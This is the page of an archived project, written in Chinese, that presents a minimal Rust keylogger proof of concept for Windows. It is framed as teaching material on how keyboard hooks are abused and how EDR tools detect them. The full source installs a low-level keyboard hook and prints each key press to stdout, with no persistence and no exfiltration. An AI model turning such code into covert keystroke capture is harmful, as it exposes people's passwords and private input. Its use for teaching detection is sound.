Rust 按键记录概念验证

已归档

用于教学检测分析的 Windows 按键记录示例，演示 SetWindowsHookEx 的使用和正确的钩子链调用。

目标

理解 Windows 消息钩子如何被滥用于截取凭据，以及 EDR 如何检测钩子注入。

约束

仅用于教学。重启后不会保留，仅输出到 stdout。

Rust
WinAPI
Unsafe

源代码 · 原始语言src/main.rs

1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5    CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6    TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12    n_code: i32,13    w_param: WPARAM,14    l_param: LPARAM,15) -> LRESULT {16    if n_code >= 0 {17        let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18        // WM_KEYDOWN = 0x010019        if w_param as u32 == 0x0100 {20            println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21        }22    }23    CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27    unsafe {28        HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29        assert!(!HOOK.is_null(), "Failed to install hook");3031        let mut msg = std::mem::zeroed();32        while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33            TranslateMessage(&msg);34            DispatchMessageW(&msg);35        }36        UnhookWindowsHookEx(HOOK);37    }38}

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